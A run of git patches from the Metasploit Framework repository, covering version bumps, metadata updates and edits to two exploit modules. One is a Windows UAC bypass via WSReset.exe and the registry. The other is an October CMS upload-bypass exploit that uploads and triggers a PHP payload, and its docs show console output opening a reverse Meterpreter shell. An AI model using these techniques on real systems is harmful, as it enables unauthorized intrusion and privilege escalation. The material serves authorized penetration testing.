a1f39e519fef0e1e8139b022aa3ea88c02283d71 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Thu, 5 Sep 2019 11:57:04 -0500 Subject: [PATCH 155/217] Move documentation --- ...{bypassuac_windows_store.md => bypassuac_windows_store_reg.md} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename documentation/modules/exploit/windows/local/{bypassuac_windows_store.md => bypassuac_windows_store_reg.md} (100%) diff --git a/documentation/modules/exploit/windows/local/bypassuac_windows_store.md b/documentation/modules/exploit/windows/local/bypassuac_windows_store_reg.md similarity index 100% rename from documentation/modules/exploit/windows/local/bypassuac_windows_store.md rename to documentation/modules/exploit/windows/local/bypassuac_windows_store_reg.md From 20216ac81a4ea1e94484554f2eb3171249134886 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Thu, 5 Sep 2019 12:08:12 -0500 Subject: [PATCH 156/217] Fix documentation to new module name --- .../exploit/windows/local/bypassuac_windows_store_reg.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/windows/local/bypassuac_windows_store_reg.md b/documentation/modules/exploit/windows/local/bypassuac_windows_store_reg.md index 27f41edc39..48ce41ccb5 100644 --- a/documentation/modules/exploit/windows/local/bypassuac_windows_store_reg.md +++ b/documentation/modules/exploit/windows/local/bypassuac_windows_store_reg.md @@ -22,7 +22,7 @@ privileges. ### Windows 10.0.17134.885 x64 ``` -msf5 exploit(windows/local/bypassuac_windows_store) > run +msf5 exploit(windows/local/bypassuac_windows_store_reg) > run [*] Started reverse TCP handler on 192.168.135.168:4444 [*] UAC is Enabled, checking level... From ea6ab34c329c8968bfe4da23a859c580389363bb Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 5 Sep 2019 12:13:53 -0500 Subject: [PATCH 157/217] Bump version of framework to 5.0.47 --- Gemfile.lock | 14 +++++++------- LICENSE_GEMS | 12 ++++++------ lib/metasploit/framework/version.rb | 2 +- 3 files changed, 14 insertions(+), 14 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 70f7d0c36e..66c034dd70 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (5.0.46) + metasploit-framework (5.0.47) actionpack (~> 4.2.6) activerecord (~> 4.2.6) activesupport (~> 4.2.6) @@ -108,15 +108,15 @@ GEM minitest (~> 5.1) thread_safe (~> 0.3, >= 0.3.4) tzinfo (~> 1.1) - addressable (2.6.0) - public_suffix (>= 2.0.2, < 4.0) + addressable (2.7.0) + public_suffix (>= 2.0.2, < 5.0) afm (0.2.2) arel (6.0.4) arel-helpers (2.10.0) activerecord (>= 3.1.0, < 7) aws-eventstream (1.0.3) - aws-partitions (1.207.0) - aws-sdk-core (3.65.1) + aws-partitions (1.208.0) + aws-sdk-core (3.66.0) aws-eventstream (~> 1.0, >= 1.0.2) aws-partitions (~> 1.0) aws-sigv4 (~> 1.1) @@ -167,7 +167,7 @@ GEM factory_bot_rails (5.0.2) factory_bot (~> 5.0.2) railties (>= 4.2.0) - faker (2.2.0) + faker (2.2.1) i18n (>= 0.8) faraday (0.15.4) multipart-post (>= 1.2, < 3) @@ -250,7 +250,7 @@ GEM pry (0.12.2) coderay (~> 1.1.0) method_source (~> 0.9.0) - public_suffix (3.1.1) + public_suffix (4.0.1) rack (1.6.11) rack-protection (1.5.5) rack diff --git a/LICENSE_GEMS b/LICENSE_GEMS index 9709400292..815d2cac4c 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -5,13 +5,13 @@ actionview, 4.2.11.1, MIT activemodel, 4.2.11.1, MIT activerecord, 4.2.11.1, MIT activesupport, 4.2.11.1, MIT -addressable, 2.6.0, "Apache 2.0" +addressable, 2.7.0, "Apache 2.0" afm, 0.2.2, MIT arel, 6.0.4, MIT arel-helpers, 2.10.0, MIT aws-eventstream, 1.0.3, "Apache 2.0" -aws-partitions, 1.207.0, "Apache 2.0" -aws-sdk-core, 3.65.1, "Apache 2.0" +aws-partitions, 1.208.0, "Apache 2.0" +aws-sdk-core, 3.66.0, "Apache 2.0" aws-sdk-ec2, 1.106.0, "Apache 2.0" aws-sdk-iam, 1.29.0, "Apache 2.0" aws-sdk-kms, 1.24.0, "Apache 2.0" @@ -39,7 +39,7 @@ erubis, 2.7.0, MIT eventmachine, 1.2.7, "ruby, GPL-2.0" factory_bot, 5.0.2, MIT factory_bot_rails, 5.0.2, MIT -faker, 2.2.0, MIT +faker, 2.2.1, MIT faraday, 0.15.4, MIT filesize, 0.2.0, MIT fivemat, 1.3.7, MIT @@ -53,7 +53,7 @@ loofah, 2.2.3, MIT metasm, 1.0.4, LGPL-2.1 metasploit-concern, 2.0.5, "New BSD" metasploit-credential, 3.0.3, "New BSD" -metasploit-framework, 5.0.46, "New BSD" +metasploit-framework, 5.0.47, "New BSD" metasploit-model, 2.0.4, "New BSD" metasploit-payloads, 1.3.70, "3-clause (or ""modified"") BSD" metasploit_data_models, 3.0.10, "New BSD" @@ -80,7 +80,7 @@ pg, 0.21.0, "New BSD" pg_array_parser, 0.0.9, unknown postgres_ext, 3.0.1, MIT pry, 0.12.2, MIT -public_suffix, 3.1.1, MIT +public_suffix, 4.0.1, MIT rack, 1.6.11, MIT rack-protection, 1.5.5, MIT rack-test, 0.6.3, MIT diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index b5b4e353a9..8cc516280e 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "5.0.46" + VERSION = "5.0.47" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash From 1a717a562431315eeb4f064ba36318b434f522d1 Mon Sep 17 00:00:00 2001 From: Tim W Date: Fri, 6 Sep 2019 02:11:06 +0800 Subject: [PATCH 158/217] minor fixes --- .../exploit/windows/local/bypassuac_windows_store_reg.md | 5 ++--- .../exploits/windows/local/bypassuac_windows_store_reg.rb | 8 +++----- 2 files changed, 5 insertions(+), 8 deletions(-) diff --git a/documentation/modules/exploit/windows/local/bypassuac_windows_store_reg.md b/documentation/modules/exploit/windows/local/bypassuac_windows_store_reg.md index 48ce41ccb5..2c5287344d 100644 --- a/documentation/modules/exploit/windows/local/bypassuac_windows_store_reg.md +++ b/documentation/modules/exploit/windows/local/bypassuac_windows_store_reg.md @@ -34,9 +34,8 @@ msf5 exploit(windows/local/bypassuac_windows_store_reg) > run [*] tmp_dir = C:\Users\msfuser\AppData\Local\Temp [*] exploit_dir = C:\Windows\System32\ [*] exploit_file = C:\Windows\System32\WSReset.exe -[*] make payload name -[*] make payload pathname -[*] make payload +[*] payload_pathname = C:\Users\msfuser\AppData\Local\Temp\LSbJpvsW.exe +[*] Making Payload [*] reg_command = C:\Windows\System32\cmd.exe /c start C:\Users\msfuser\AppData\Local\Temp\LSbJpvsW.exe [*] Making Registry Changes [*] Registry Changes Complete diff --git a/modules/exploits/windows/local/bypassuac_windows_store_reg.rb b/modules/exploits/windows/local/bypassuac_windows_store_reg.rb index 84d3b308d3..70b6115974 100644 --- a/modules/exploits/windows/local/bypassuac_windows_store_reg.rb +++ b/modules/exploits/windows/local/bypassuac_windows_store_reg.rb @@ -33,10 +33,9 @@ class MetasploitModule < Msf::Exploit::Local 'Targets' => [[ 'Automatic', {} ]], 'DefaultTarget' => 0, 'DefaultOptions' => { - 'EXITFUNC' => 'process', 'WfsDelay' => 15 }, - 'DisclosureDate' => 'Aug 22 2019', + 'DisclosureDate' => 'Feb 19 2019', 'Notes' => { 'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ] @@ -90,11 +89,10 @@ class MetasploitModule < Msf::Exploit::Local vprint_status("exploit_file = " + reset_filepath) # make payload - vprint_status("make payload name") payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe' - vprint_status("make payload pathname") payload_pathname = tmp_dir + '\\' + payload_name - vprint_status("make payload") + vprint_status("payload_pathname = " + payload_pathname) + vprint_status("Making Payload") payload = generate_payload_exe reg_command = exploit_dir + "cmd.exe /c start #{payload_pathname}" vprint_status("reg_command = " + reg_command) From bc1610ec46d508a9302e3832e7642d59182a8a30 Mon Sep 17 00:00:00 2001 From: Touhid M Shaikh Date: Thu, 5 Sep 2019 23:48:14 +0530 Subject: [PATCH 159/217] Update modules/exploits/multi/http/october_upload_bypass_exec.rb Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com> --- modules/exploits/multi/http/october_upload_bypass_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/october_upload_bypass_exec.rb b/modules/exploits/multi/http/october_upload_bypass_exec.rb index bb6369b7b6..8a598e59a2 100644 --- a/modules/exploits/multi/http/october_upload_bypass_exec.rb +++ b/modules/exploits/multi/http/october_upload_bypass_exec.rb @@ -156,7 +156,7 @@ class MetasploitModule < Msf::Exploit::Remote # Executing Payload Now send_request_cgi({ 'uri' => normalize_uri(uri, 'storage', 'app', 'media', payload_name), - 'method' => 'GET', + 'method' => 'GET' }) end end From 0e4e7dd9d9826c381922fbd0a958b88e6558710f Mon Sep 17 00:00:00 2001 From: Touhid M Shaikh Date: Thu, 5 Sep 2019 23:48:22 +0530 Subject: [PATCH 160/217] Update modules/exploits/multi/http/october_upload_bypass_exec.rb Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com> --- modules/exploits/multi/http/october_upload_bypass_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/october_upload_bypass_exec.rb b/modules/exploits/multi/http/october_upload_bypass_exec.rb index 8a598e59a2..efc2b44540 100644 --- a/modules/exploits/multi/http/october_upload_bypass_exec.rb +++ b/modules/exploits/multi/http/october_upload_bypass_exec.rb @@ -142,7 +142,7 @@ class MetasploitModule < Msf::Exploit::Remote vprint_status("Trying to upload malicious #{payload_name} file ....") # Lets Send Upload request. res = send_request_cgi({ - 'uri' => normalize_uri(uri, '/backend/cms/media'), + 'uri' => normalize_uri(uri, 'backend', 'cms', 'media'), 'method' => 'POST', 'cookie' => cookies, 'headers' => { From a7e205e25252c3230e36a51accff8807c6a53a15 Mon Sep 17 00:00:00 2001 From: Touhid M Shaikh Date: Thu, 5 Sep 2019 23:48:32 +0530 Subject: [PATCH 161/217] Update modules/exploits/multi/http/october_upload_bypass_exec.rb Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com> --- modules/exploits/multi/http/october_upload_bypass_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/october_upload_bypass_exec.rb b/modules/exploits/multi/http/october_upload_bypass_exec.rb index efc2b44540..78f04b96f0 100644 --- a/modules/exploits/multi/http/october_upload_bypass_exec.rb +++ b/modules/exploits/multi/http/october_upload_bypass_exec.rb @@ -79,7 +79,7 @@ class MetasploitModule < Msf::Exploit::Remote def login res = send_request_cgi({ 'uri' => normalize_uri(uri, '/backend/backend/auth/signin'), - 'method' => 'GET', + 'method' => 'GET' }) if res.nil? From 4b416bf530abf147ddddeee7b167e8bfb05d0f18 Mon Sep 17 00:00:00 2001 From: Touhid M Shaikh Date: Thu, 5 Sep 2019 23:48:43 +0530 Subject: [PATCH 162/217] Update modules/exploits/multi/http/october_upload_bypass_exec.rb Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com> --- modules/exploits/multi/http/october_upload_bypass_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/october_upload_bypass_exec.rb b/modules/exploits/multi/http/october_upload_bypass_exec.rb index 78f04b96f0..eda0b88ec2 100644 --- a/modules/exploits/multi/http/october_upload_bypass_exec.rb +++ b/modules/exploits/multi/http/october_upload_bypass_exec.rb @@ -78,7 +78,7 @@ class MetasploitModule < Msf::Exploit::Remote def login res = send_request_cgi({ - 'uri' => normalize_uri(uri, '/backend/backend/auth/signin'), + 'uri' => normalize_uri(uri, 'backend', 'backend', 'auth', 'signin'), 'method' => 'GET' }) From cf4c10783a017a2381a69745eec668c6d551eb6d Mon Sep 17 00:00:00 2001 From: Touhid M Shaikh Date: Thu, 5 Sep 2019 23:50:18 +0530 Subject: [PATCH 163/217] Update modules/exploits/multi/http/october_upload_bypass_exec.rb Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com> --- modules/exploits/multi/http/october_upload_bypass_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/october_upload_bypass_exec.rb b/modules/exploits/multi/http/october_upload_bypass_exec.rb index eda0b88ec2..ebbea1f6f3 100644 --- a/modules/exploits/multi/http/october_upload_bypass_exec.rb +++ b/modules/exploits/multi/http/october_upload_bypass_exec.rb @@ -62,7 +62,7 @@ class MetasploitModule < Msf::Exploit::Remote begin res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri(uri, '/modules/system/assets/js/framework.js') + 'uri' => normalize_uri(uri, 'modules' 'system', 'assets', 'js', 'framework.js') }) rescue vprint_error('Unable to access the /assets/js/framework.js file') From 22182d5c8d9481a88bfa66b08f54b99be25826f5 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 5 Sep 2019 13:25:28 -0500 Subject: [PATCH 164/217] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 47 +++++++++++++++++++++++++++++++++++ 1 file changed, 47 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 834583b4b7..cdc8080a79 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -124821,6 +124821,53 @@ }, "needs_cleanup": true }, + "exploit_windows/local/bypassuac_windows_store_reg": { + "name": "Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe) and Registry", + "fullname": "exploit/windows/local/bypassuac_windows_store_reg", + "aliases": [ + + ], + "rank": 0, + "disclosure_date": "2019-02-19", + "type": "exploit", + "author": [ + "ACTIVELabs", + "sailay1996", + "bwatters-r7" + ], + "description": "This module exploits a flaw in the WSReset.exe file associated with the Windows\n Store. This binary has autoelevate privs, and it will run a binary file\n contained in a low-privilege registry location. By placing a link to\n the binary in the registry location, WSReset.exe will launch the binary as\n a privileged user.", + "references": [ + "URL-https://www.activecyber.us/activelabs/windows-uac-bypass", + "URL-https://heynowyouseeme.blogspot.com/2019/08/windows-10-lpe-uac-bypass-in-windows.html", + "URL-https://github.com/sailay1996/UAC_bypass_windows_store" + ], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "Automatic" + ], + "mod_time": "2019-09-06 02:11:06 +0000", + "path": "/modules/exploits/windows/local/bypassuac_windows_store_reg.rb", + "is_install_path": true, + "ref_name": "windows/local/bypassuac_windows_store_reg", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "SideEffects": [ + "artifacts-on-disk", + "screen-effects" + ] + }, + "needs_cleanup": true + }, "exploit_windows/local/capcom_sys_exec": { "name": "Windows Capcom.sys Kernel Execution Exploit (x64 only)", "fullname": "exploit/windows/local/capcom_sys_exec", From aaebec01a48f8ac3fecb9ae65b68fda1e69e0ef7 Mon Sep 17 00:00:00 2001 From: Touhid M Shaikh Date: Fri, 6 Sep 2019 18:26:28 +0530 Subject: [PATCH 165/217] Update References Added CVE and Blog link --- modules/exploits/multi/http/october_upload_bypass_exec.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/october_upload_bypass_exec.rb b/modules/exploits/multi/http/october_upload_bypass_exec.rb index ebbea1f6f3..4ffbf8144b 100644 --- a/modules/exploits/multi/http/october_upload_bypass_exec.rb +++ b/modules/exploits/multi/http/october_upload_bypass_exec.rb @@ -28,7 +28,9 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - ['EDB','41936'] + ['EDB','41936'], + ['URL','https://bitflipper.eu/finding/2017/04/october-cms-v10412-several-issues.html'], + ['CVE','2017-1000119'] ], 'DefaultOptions' => { From 788e3b43630aafde3ab933038d96744c4abcf499 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Fri, 6 Sep 2019 09:33:59 -0500 Subject: [PATCH 166/217] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 47 +++++++++++++++++++++++++++++++++++ 1 file changed, 47 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index cdc8080a79..8932edb634 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -124821,6 +124821,53 @@ }, "needs_cleanup": true }, + "exploit_windows/local/bypassuac_windows_store_filesys": { + "name": "Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe)", + "fullname": "exploit/windows/local/bypassuac_windows_store_filesys", + "aliases": [ + + ], + "rank": 0, + "disclosure_date": "2019-08-22", + "type": "exploit", + "author": [ + "ACTIVELabs", + "sailay1996", + "timwr" + ], + "description": "This module exploits a flaw in the WSReset.exe Windows Store Reset Tool. The tool\n is run with the \"autoElevate\" property set to true, however it can be moved to\n a new Windows directory containing a space (C:\\Windows \\System32\\) where, upon\n execution, it will load our payload dll (propsys.dll).", + "references": [ + "URL-https://heynowyouseeme.blogspot.com/2019/08/windows-10-lpe-uac-bypass-in-windows.html", + "URL-https://github.com/sailay1996/UAC_bypass_windows_store", + "URL-https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e" + ], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "Automatic" + ], + "mod_time": "2019-09-06 00:52:13 +0000", + "path": "/modules/exploits/windows/local/bypassuac_windows_store_filesys.rb", + "is_install_path": true, + "ref_name": "windows/local/bypassuac_windows_store_filesys", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "SideEffects": [ + "artifacts-on-disk", + "screen-effects" + ] + }, + "needs_cleanup": true + }, "exploit_windows/local/bypassuac_windows_store_reg": { "name": "Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe) and Registry", "fullname": "exploit/windows/local/bypassuac_windows_store_reg", From 5f7c243b481cabcfac5d4730402bc4ab02569b81 Mon Sep 17 00:00:00 2001 From: Shelby Pace Date: Fri, 6 Sep 2019 09:49:09 -0500 Subject: [PATCH 167/217] add filedropper, fix check, add to docs --- .../multi/http/october_upload_bypass_exec.md | 75 ++++++++++--------- .../multi/http/october_upload_bypass_exec.rb | 19 ++--- 2 files changed, 46 insertions(+), 48 deletions(-) diff --git a/documentation/modules/exploit/multi/http/october_upload_bypass_exec.md b/documentation/modules/exploit/multi/http/october_upload_bypass_exec.md index 48f8952431..31eadde2fc 100644 --- a/documentation/modules/exploit/multi/http/october_upload_bypass_exec.md +++ b/documentation/modules/exploit/multi/http/october_upload_bypass_exec.md @@ -1,45 +1,50 @@ - ## Description -An authenticated user with permission to upload and manage media contents can -upload various files on the server. The application prevents the user from -uploading PHP code by checking the file extension. It uses blacklist based -approach, as seen in octobercms/vendor/october/rain/src/Filesystem/ -Definitions.php:blockedExtensions(). + + An authenticated user with permission to upload and manage media contents can + upload various files on the server. The application prevents the user from + uploading PHP code by checking the file extension. It uses blacklist based + approach, as seen in octobercms/vendor/october/rain/src/Filesystem/ + Definitions.php:blockedExtensions(). ## Vulnerable Software -https://www.exploit-db.com/apps/4ff8a9688f31b7338020d0bc85da13fc-october-1.0.412.tar.gz -## Author -Anti Räis (Discovery) -Touhid M.Shaikh (Metasploit Module) + https://www.exploit-db.com/apps/4ff8a9688f31b7338020d0bc85da13fc-october-1.0.412.tar.gz -## References -https://www.exploit-db.com/exploits/41936 +## Verification Steps -## Tested on -This module was tested on October CMS version v1.0.412 on Ubuntu. + 1. Install the application + 2. Start msfconsole + 3. Do: ```use exploit/multi/http/october_upload_bypass_exec``` + 4. Do: ```set RHOSTS `` + 5. Do: ```set USERNAME ``` + 6. Do: ```set PASSWORD ``` + 7. You should get a shell. ## Verification -msf5 > use exploit/multi/http/october_upload_bypass_exec -msf5 exploit(multi/http/october_upload_bypass_exec) > set rhosts 10.10.10.16 -rhosts => 10.10.10.16 -msf5 exploit(multi/http/october_upload_bypass_exec) > setg verbose true -verbose => true -msf5 exploit(multi/http/october_upload_bypass_exec) > set lhost 10.10.14.8 -lhost => 10.10.14.8 -msf5 exploit(multi/http/october_upload_bypass_exec) > run -[*] Started reverse TCP handler on 10.10.14.8:4444 -[+] Token for login : 3ySsc8d8VNMm2V8x3Ns4cay05bwhRxnoIkQjRnBP -[+] Session Key for login : uVNSZ2YRUm39cf8kqJcWV0qr9xhqq9krCYHeVI6m -[*] Trying to Login ...... -[+] Authentication successful: admin:admin -[*] Trying to upload malicious WLMVDKmVpCX.php5 file .... -[*] Sending stage (38247 bytes) to 10.10.10.16 -[*] Meterpreter session 1 opened (10.10.14.8:4444 -> 10.10.10.16:54124) at 2019-09-03 12:19:20 +0530 + ``` + msf5 > use exploit/multi/http/october_upload_bypass_exec + msf5 exploit(multi/http/october_upload_bypass_exec) > set rhosts 10.10.10.16 + rhosts => 10.10.10.16 + msf5 exploit(multi/http/october_upload_bypass_exec) > setg verbose true + verbose => true + msf5 exploit(multi/http/october_upload_bypass_exec) > set lhost 10.10.14.8 + lhost => 10.10.14.8 + msf5 exploit(multi/http/october_upload_bypass_exec) > run -meterpreter > sysinfo -Computer : october -OS : Linux october 4.4.0-78-generic #99~14.04.2-Ubuntu SMP Thu Apr 27 18:51:25 UTC 2017 i686 -Meterpreter : php/linux -meterpreter > + [*] Started reverse TCP handler on 10.10.14.8:4444 + [+] Token for login : 3ySsc8d8VNMm2V8x3Ns4cay05bwhRxnoIkQjRnBP + [+] Session Key for login : uVNSZ2YRUm39cf8kqJcWV0qr9xhqq9krCYHeVI6m + [*] Trying to Login ...... + [+] Authentication successful: admin:admin + [*] Trying to upload malicious WLMVDKmVpCX.php5 file .... + [*] Sending stage (38247 bytes) to 10.10.10.16 + [*] Meterpreter session 1 opened (10.10.14.8:4444 -> 10.10.10.16:54124) at 2019-09-03 12:19:20 +0530 + [+] Deleted WLMVDKmVpCX.php5 + + meterpreter > sysinfo + Computer : october + OS : Linux october 4.4.0-78-generic #99~14.04.2-Ubuntu SMP Thu Apr 27 18:51:25 UTC 2017 i686 + Meterpreter : php/linux + meterpreter > + ``` diff --git a/modules/exploits/multi/http/october_upload_bypass_exec.rb b/modules/exploits/multi/http/october_upload_bypass_exec.rb index 4ffbf8144b..6adb4c1fe5 100644 --- a/modules/exploits/multi/http/october_upload_bypass_exec.rb +++ b/modules/exploits/multi/http/october_upload_bypass_exec.rb @@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, @@ -64,7 +65,7 @@ class MetasploitModule < Msf::Exploit::Remote begin res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri(uri, 'modules' 'system', 'assets', 'js', 'framework.js') + 'uri' => normalize_uri(uri, 'modules', 'system', 'assets', 'js', 'framework.js') }) rescue vprint_error('Unable to access the /assets/js/framework.js file') @@ -88,7 +89,6 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::Unreachable, "#{peer} - Connection failed") end - # Grabbing Session Key and token from body /name="_session_key" type="hidden" value="(?[A-Za-z0-9"]+)">/ =~ res.body fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine Session Key") if session.nil? @@ -100,7 +100,6 @@ class MetasploitModule < Msf::Exploit::Remote cookies = res.get_cookies vprint_status('Trying to Login ......') - # Send Creds with cookies. res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'backend', 'backend', 'auth', 'signin'), @@ -111,7 +110,7 @@ class MetasploitModule < Msf::Exploit::Remote 'postback' => '1', 'login' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] - }.to_a.shuffle], + }.to_a.shuffle] }) fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil? @@ -128,34 +127,28 @@ class MetasploitModule < Msf::Exploit::Remote def exploit - cookies = login - #Payload evil = "" payload_name = "#{rand_text_alpha(8..13)}.php5" - # setup POST request. post_data = Rex::MIME::Message.new post_data.add_part("/", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="path"') post_data.add_part(evil, content_type = 'application/x-php', transfer_encoding = nil, content_disposition = "form-data; name=\"file_data\"; filename=\"#{payload_name}") #payload data = post_data.to_s + register_files_for_cleanup(payload_name) vprint_status("Trying to upload malicious #{payload_name} file ....") - # Lets Send Upload request. res = send_request_cgi({ 'uri' => normalize_uri(uri, 'backend', 'cms', 'media'), 'method' => 'POST', 'cookie' => cookies, - 'headers' => { - 'X-OCTOBER-FILEUPLOAD' => 'MediaManager-manager' - }, + 'headers' => { 'X-OCTOBER-FILEUPLOAD' => 'MediaManager-manager' }, 'Connection' => 'close', 'data' => data, - 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" }) - # Executing Payload Now send_request_cgi({ 'uri' => normalize_uri(uri, 'storage', 'app', 'media', payload_name), 'method' => 'GET' From b0625012c4f6c4624f6f56899f4836c6b35e261f Mon Sep 17 00:00:00 2001 From: Shelby Pace Date: Fri, 6 Sep 2019 10:12:08 -0500 Subject: [PATCH 168/217] add vulnerable software version --- .../modules/exploit/multi/http/october_upload_bypass_exec.md | 1 + 1 file changed, 1 insertion(+) diff --git a/documentation/modules/exploit/multi/http/october_upload_bypass_exec.md b/documentation/modules/exploit/multi/http/october_upload_bypass_exec.md index 31eadde2fc..2e11c064e7 100644 --- a/documentation/modules/exploit/multi/http/october_upload_bypass_exec.md +++ b/documentation/modules/exploit/multi/http/october_upload_bypass_exec.md @@ -8,6 +8,7 @@ ## Vulnerable Software + October CMS v1.0.412 (build 412) https://www.exploit-db.com/apps/4ff8a9688f31b7338020d0bc85da13fc-october-1.0.412.tar.gz ## Verification Steps From 2ec2ecb96978ba720a71635fb2a8a1c668d20509 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Fri, 6 Sep 2019 10:22:57 -0500 Subject: [PATCH 169/217] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 52 +++++++++++++++++++++++++++++++++++ 1 file changed, 52 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 8932edb634..fc59545f1c 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -70362,6 +70362,58 @@ }, "needs_cleanup": null }, + "exploit_multi/http/october_upload_bypass_exec": { + "name": "October CMS Upload Protection Bypass Code Execution", + "fullname": "exploit/multi/http/october_upload_bypass_exec", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2017-04-25", + "type": "exploit", + "author": [ + "Anti Räis", + "Touhid M.Shaikh ", + "SecureLayer7.net" + ], + "description": "This module exploits an Authenticated user with permission to upload and manage media contents can\n upload various files on the server. Application prevents the user from\n uploading PHP code by checking the file extension. It uses black-list based\n approach, as seen in octobercms/vendor/october/rain/src/Filesystem/\n Definitions.php:blockedExtensions().\n This module was tested on October CMS version v1.0.412 on Ubuntu.", + "references": [ + "EDB-41936", + "URL-https://bitflipper.eu/finding/2017/04/october-cms-v10412-several-issues.html", + "CVE-2017-1000119" + ], + "platform": "PHP", + "arch": "php", + "rport": 80, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "October CMS v1.0.412" + ], + "mod_time": "2019-09-06 09:49:09 +0000", + "path": "/modules/exploits/multi/http/october_upload_bypass_exec.rb", + "is_install_path": true, + "ref_name": "multi/http/october_upload_bypass_exec", + "check": true, + "post_auth": true, + "default_credential": true, + "notes": { + }, + "needs_cleanup": true + }, "exploit_multi/http/op5_license": { "name": "OP5 license.php Remote Command Execution", "fullname": "exploit/multi/http/op5_license", From 9a6830c0adc0f5afa9bf144375ea8e016af7adbd Mon Sep 17 00:00:00 2001 From: Metasploit Date: Fri, 6 Sep 2019 12:10:24 -0500 Subject: [PATCH 170/217] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 50 +++++++++++++++++++++++++++++++++++ 1 file changed, 50 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index fc59545f1c..e6e74ca07a 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -53587,6 +53587,56 @@ }, "needs_cleanup": null }, + "exploit_linux/http/librenms_collectd_cmd_inject": { + "name": "LibreNMS Collectd Command Injection", + "fullname": "exploit/linux/http/librenms_collectd_cmd_inject", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2019-07-15", + "type": "exploit", + "author": [ + "Eldar Marcussen", + "Shelby Pace" + ], + "description": "This module exploits a command injection vulnerability in the\n Collectd graphing functionality in LibreNMS.\n\n The `to` and `from` parameters used to define the range for\n a graph are sanitized using the `mysqli_escape_real_string()`\n function, which permits backticks. These parameters are used\n as part of a shell command that gets executed via the `passthru()`\n function, which can result in code execution.", + "references": [ + "CVE-2019-10669", + "URL-https://www.darkmatter.ae/xen1thlabs/librenms-command-injection-vulnerability-xl-19-017/" + ], + "platform": "Unix", + "arch": "cmd", + "rport": 80, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Linux" + ], + "mod_time": "2019-08-13 13:39:15 +0000", + "path": 